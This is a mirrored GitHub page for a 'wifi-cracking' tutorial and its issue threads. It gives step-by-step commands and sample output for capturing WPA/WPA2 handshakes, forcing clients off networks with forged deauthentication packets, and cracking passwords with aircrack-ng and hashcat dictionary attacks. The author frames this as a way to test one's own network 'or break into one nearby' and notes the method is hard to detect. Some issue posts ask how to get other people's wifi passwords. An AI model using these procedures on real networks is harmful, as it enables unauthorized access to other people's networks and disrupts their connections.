Git Product home page Git Product logo

wifi-cracking's Introduction

Wi-Fi Cracking

Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.

This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network's security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don't actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.

If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom. For a variety of suggestions and alternative methods, see the appendix. neal1991 and tiiime have also graciously provided translations to this document and the appendix in Chinese if you prefer those versions.

DISCLAIMER: This software/tutorial is for educational purposes only. It should not be used for illegal activity. The author is not responsible for its use. Don't be a dick.

Getting Started

This tutorial assumes that you:

  • Have a general comfortability using the command-line
  • Are running a debian-based linux distro, preferably Kali linux (OSX users see the appendix)
  • Have Aircrack-ng installed
    • sudo apt-get install aircrack-ng
  • Have a wireless card that supports monitor mode (see here for a list of supported devices)

Cracking a Wi-Fi Network

Monitor Mode

Begin by listing wireless interfaces that support monitor mode with:

airmon-ng

If you do not see an interface listed then your wireless card does not support monitor mode 😞

We will assume your wireless interface name is wlan0 but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:

airmon-ng start wlan0

Run iwconfig. You should now see a new monitor mode interface listed (likely mon0 or wlan0mon).

Find Your Target

Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface:

airodump-ng mon0

You should see output similar to what is below.

CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49                                         
                                                                                                                                              
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 14:91:82:F7:52:EB  -66      205       26    0   1  54e  OPN              belkin.2e8.guests                                                   
 14:91:82:F7:52:E8  -64      212       56    0   1  54e  WPA2 CCMP   PSK  belkin.2e8                                                          
 14:22:DB:1A:DB:64  -81       44        7    0   1  54   WPA2 CCMP        <length:  0>                                                        
 14:22:DB:1A:DB:66  -83       48        0    0   1  54e. WPA2 CCMP   PSK  steveserro                                                          
 9C:5C:8E:C9:AB:C0  -81       19        0    0   3  54e  WPA2 CCMP   PSK  hackme                                                                 
 00:23:69:AD:AF:94  -82      350        4    0   1  54e  WPA2 CCMP   PSK  Kaitlin's Awesome                                                   
 06:26:BB:75:ED:69  -84      232        0    0   1  54e. WPA2 CCMP   PSK  HH2                                                                 
 78:71:9C:99:67:D0  -82      339        0    0   1  54e. WPA2 CCMP   PSK  ARRIS-67D2                                                          
 9C:34:26:9F:2E:E8  -85       40        0    0   1  54e. WPA2 CCMP   PSK  Comcast_2EEA-EXT                                                    
 BC:EE:7B:8F:48:28  -85      119       10    0   1  54e  WPA2 CCMP   PSK  root                                                                
 EC:1A:59:36:AD:CA  -86      210       28    0   1  54e  WPA2 CCMP   PSK  belkin.dca

For the purposes of this demo, we will choose to crack the password of my network, "hackme". Remember the BSSID MAC address and channel (CH) number as displayed by airodump-ng, as we will need them both for the next step.

Capture a 4-way Handshake

WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don't have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command.

# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
 CH  6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]                                        
                                                                                                                                              
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                              
 9C:5C:8E:C9:AB:C0  -47   0      140        0    0   6  54e  WPA2 CCMP   PSK  ASUS  

Now we wait... Once you've captured a handshake, you should see something like [ WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time.

If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to reconnect, be sending malicious deauthentication packets at them. This often results in the capture of a 4-way handshake. See the deauth attack section below for info on this.

Once you've captured a handshake, press ctrl-c to quit airodump-ng. You should see a .cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password. I like to rename this file to reflect the network name we are trying to crack:

mv ./-01.cap hackme.cap

Crack the Network Password

The final step is to crack the password using the captured handshake. If you have access to a GPU, I highly recommend using hashcat for password cracking. I've created a simple tool that makes hashcat super easy to use called naive-hashcat. If you don't have access to a GPU, there are various online GPU cracking services that you can use, like GPUHASH.me or OnlineHashCrack. You can also try your hand at CPU cracking with Aircrack-ng.

Note that both attack methods below assume a relatively weak user generated password. Most WPA/WPA2 routers come with strong 12 character random passwords that many users (rightly) leave unchanged. If you are attempting to crack one of these passwords, I recommend using the Probable-Wordlists WPA-length dictionary files.

Cracking With naive-hashcat (recommended)

Before we can crack the password using naive-hashcat, we need to convert our .cap file to the equivalent hashcat file format .hccapx. You can do this easily by either uploading the .cap file to https://hashcat.net/cap2hccapx/ or using the cap2hccapx tool directly.

cap2hccapx.bin hackme.cap hackme.hccapx

Next, download and run naive-hashcat:

# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat

# download the 134MB rockyou dictionary file
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh

Naive-hashcat uses various dictionary, rule, combination, and mask (smart brute-force) attacks and it can take days or even months to run against mid-strength passwords. The cracked password will be saved to hackme.pot, so check this file periodically. Once you've cracked the password, you should see something like this as the contents of your POT_FILE:

e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet

Where the last two fields separated by : are the network name and password respectively.

If you would like to use hashcat without naive-hashcat see this page for info.

Cracking With Aircrack-ng

Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist. I recommend using the infamous rockyou dictionary file:

# download the 134MB rockyou dictionary file
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

Note, that if the network password is not in the wordfile you will not crack the password.

# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap

If the password is cracked you will see a KEY FOUND! message in the terminal followed by the plain text version of the network password.

                                 Aircrack-ng 1.2 beta3


                   [00:01:49] 111040 keys tested (1017.96 k/s)


                         KEY FOUND! [ hacktheplanet ]


      Master Key     : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89 
                       59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E 

      Transient Key  : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71 
                       2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73 
                       6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78 
                       8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21 

      EAPOL HMAC     : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4 

Deauth Attack

A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake "sender" addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with airodump-ng.

Use airodump-ng to monitor a specific access point (using -c channel --bssid MAC) until you see a client (STATION) connected. A connected client look something like this, where is 64:BC:0C:48:97:F7 the client MAC.

 CH  6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]                                         
                                                                                                                                           
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  -19  75     1043      144   10   6  54e  WPA2 CCMP   PSK  ASUS                                                         
                                                                                                                                           
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                 
                                                                                                                                           
 9C:5C:8E:C9:AB:C0  64:BC:0C:48:97:F7  -37    1e- 1e     4     6479  ASUS

Now, leave airodump-ng running and open a new terminal. We will use the aireplay-ng command to send fake deauth packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process.

# -0 2 specifies we would like to send 2 deauth packets. Increase this number
# if need be with the risk of noticeably interrupting client network activity
# -a is the MAC of the access point
# -c is the MAC of the client
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

You can optionally broadcast deauth packets to all connected clients with:

# not all clients respect broadcast deauths though
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0

Once you've sent the deauth packets, head back over to your airodump-ng process, and with any luck you should now see something like this at the top right: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Now that you've captured a handshake you should be ready to crack the network password.

List of Commands

Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation.

# put your network device into monitor mode
airmon-ng start wlan0

# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0

# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0

# optionally deauth a connected client to force a handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

########## crack password with aircrack-ng... ##########

# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap

########## or crack password with naive-hashcat ##########

# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx

# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh

Appendix

The response to this tutorial was so great that I've added suggestions and additional material from community members as an appendix. Check it out to learn how to:

  • Capture handshakes and crack WPA passwords on MacOS/OSX
  • Capture handshakes from every network around you with wlandump-ng
  • Use crunch to generate 100+GB wordlists on-the-fly
  • Spoof your MAC address with macchanger

A Chinese version of the appendix is also available.

Attribution

Much of the information presented here was gleaned from Lewis Encarnacion's awesome tutorial. Thanks also to the awesome authors and maintainers who work on Aircrack-ng and Hashcat.

Overwhelming thanks to neal1991 and tiiime for translating this tutorial into Chinese. Further shout outs to yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp and Shark0der who also provided suggestions and typo fixes on Reddit and GitHub. If you are interested in hearing some proposed alternatives to WPA2, check out some of the great discussion on this Hacker News post.

wifi-cracking's People

Contributors

bhageena avatar brannondorsey avatar flennic avatar gpetrousov avatar harshpatel991 avatar hartzell avatar hiteshnayak305 avatar madneal avatar orsh99 avatar tiiime avatar tversteeg avatar yazeedalrubyli avatar ziishaned avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

wifi-cracking's Issues

Q

Q

Please update appendix.md:

Please update appendix.md:
wlandump-ng removed from hcxtools - replaced by hcxdumptool
wlanrcascan removed from hcxtools - replaced by hcxdumptool
https://github.com/ZerBea/hcxdumptool

wlancap2hcx removed from hcxtools - replaced by hcxpcaptool
https://github.com/ZerBea/hcxtools

hcxdumptool:
added PMKID attack vector
added detection of various authentication methods (for example SAE aka: WPA3)
automatic activation of monitor mode (iw, ip, ifconfig, iwconfig, ... no longer required)
macchanger no longer required: hcxdumptool use randomized mac's

hcxpcaptool:
added conversion of PMKID to hash 16800 and/or 16801
support TaZmen Sniffer Protocol (TZSP)
support pcapng and gzip compressed capture files

wlanhcx2psk:
Weak password calculator included.

hcxtools/hcxdumptool and hcxkeys now
part of Arch Linux distribution:
https://www.archlinux.org/packages/?q=hcx
part of wfite2:
https://github.com/derv82/wifite2
part of pineapple:
https://forums.hak5.org/topic/44213-pmkid-attack-on-wifi-pineapples/

and recommended by various online crackers:
https://wpa-sec.stanev.org/?nets
https://www.onlinehashcrack.com/how-to-reduce-WPA-dump-size.php

Originally posted by @ZerBea in #31 (comment)

clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR

#15 When I Run:
HASH_FILE=work.hccapx POT_FILE=work.pot HASH_TYPE=2500 ./naive-hashcat.sh

#15 Then this followed:
hashcat (v3.6.0) starting...

clGetPlatformIDs(): CL_PLATFORM_NOT_FOUND_KHR

Started: Sun Jul 30 01:42:29 2017
Stopped: Sun Jul 30 01:42:29 2017

#15 I have try to resolve it but failed . Any suggestions ? Thx.

Amazon Link

The TP-LINK TL-WN722N v2 is no longer a viable solution for this. The Amazon link most likely will sell this. v1 is the version that people want. You may want to update your link to a more suitable solution.

The four-way handshake cannot be captured by aircrack

I'm a Fedora 26 user and I'm new to hacking. I put the wireless card in monitor mode. Then i kill the processes using airmon-ng. Once i do this my network manager goes down and i cannot access the internet. When i try the DeAuth, the DoS attack is not established and i cannot capture a four-way handshake.

Negative fixed channel

Hi,

For capturing handshake, after running command airodump-ng -c 52 --bssid DC:9F:DB:30:C1:7A -w . mon0 I see "fixed channel mon0: -1" on the top right corner.

 CH 52 ][ Elapsed: 4 s ][ 2017-08-05 13:08 ][ fixed channel mon0: -1 

 BSSID                       PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                          
 DC:9F:DB:30:C1:7A  -51       0        5                  0    0      4  54e  WPA2 CCMP   PSK  EasyBox-XXX
                                                                                          
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

[ WPA handshake: .. is only displayed (momentarily) if I reconnect to wifi with same machine where I am running this aiodump.

Wifi password

How to use this in a non rooted phone so as to get password of wpa2psk security with wps disabled in it??

Broadcast deauth is often better

The documentation uses:

aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0

This method will do 10 deauth against a single client.


Consider using this first:

aireplay-ng -0 1 -a 9C:5C:8E:C9:AB:C0 mon0

This will do a single broadcast deauth.

You can still use the targeted deauth (there are some devices ignoring the boradcast deauth) but keep the count 1 so the devices can rekey without loosing connection for a noticeable time period.

Wifi Hacking

Anyother ways to crack a wifi routor without a rooted device

Follow hashcat recommendations

Due to many problems around capturing handshakes, the hashcat community recommends using ZerBea's hcxtools which simplify and automate the capturing of WPA/WPA2 handshakes. They also reduce the potential problems that many new users might experience otherwise.

aircrack-ng is treated as obsolete.

Example usage for capturing handshakes:

./wlandump-ng -i <wlandevice> -o <output>.cap -c 1 -t 60 -d 100 -D 10 -m 512 -b -r -s 20

What this command would do is:

  • Start in the 2.4Ghz range from channel 1 (will go to 13)
  • stay on a channel for 60s
  • send death every 100 beacons
  • disassociate every 10 frames

This would produce a cap file with multiple handshakes (if there handshakes to be captured) that should be processed by cap2hccapx in order to be usable in hashcat.

There are also many more utils in that repo that handle edge-cases or simplify a specific use-case.

OSX openGL depreciated

I believe in newer Mac hardware with integrated GPU's Metal is the only option... I ran this fine on a mac pro 2013 but not a on a mac mini 2019

Chinese translation is confusing

I tried to follow the translated instruction of README and appendix but I was totally confused by the wording in the documents. They look like a copy/paste from google translate..

Do you accept PRs? If so, I would like to correct some wordings in those docs and make them more readable.

Thanks.

aircrack-ng giving same password

First I was able to crack the password of my device . I changed my password and tried to crack again but unfortunately it shows the same password everytime . I am using rockyou.txt wordfile . Kindly help me regarding this

how to use the wlandump-ng

I execute 'sudo make install' then

execute "wlandump-ng" or "./wlandump-ng"
tip->heyuedeMacBook-Pro:hcxtools heyue$ wlandump-ng -i heyueiPhone -o capture.cap -c 1 -t 60 -d 100 -D 10 -m 512 -b -r -s 20 -bash: wlandump-ng: command not found

tip->./heyuedeMacBook-Pro:hcxtools heyue$ wlandump-ng -i heyueiPhone -o capture.cap -c 1 -t 60 -d 100 -D 10 -m 512 -b -r -s 20 -bash: wlandump-ng: command not found

i'm use macbookpro

Mac OS version can't be used.

haxtools now do not provide any way to be used on mac os. wlandump-ng is deprecated and replaced by hcxdumptool, which has no mac os compatibility.
So only way is to wait for handshakes as mac os sniffer?

Reach my hands for Help from God

CH 12 ][ Elapsed: 1 min ][ 2017-08-20 20:25 ][ fixed channel mon0: -1
....

And I can never get the WPA handshake .
And I can't resove it according the Internet.
And this hurt me .
now ,
I am crying ...
Oh , my God .
Help me, Please . God.

Wireless Card Disclaimer

It may be worth noting that V2 of the TL-WN722N uses a chipset that is not compatible with monitoring and therefore not suitable for this process. V1 is still fine. The Alfa AWUS036NHA appears to work with Kali following this guide.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.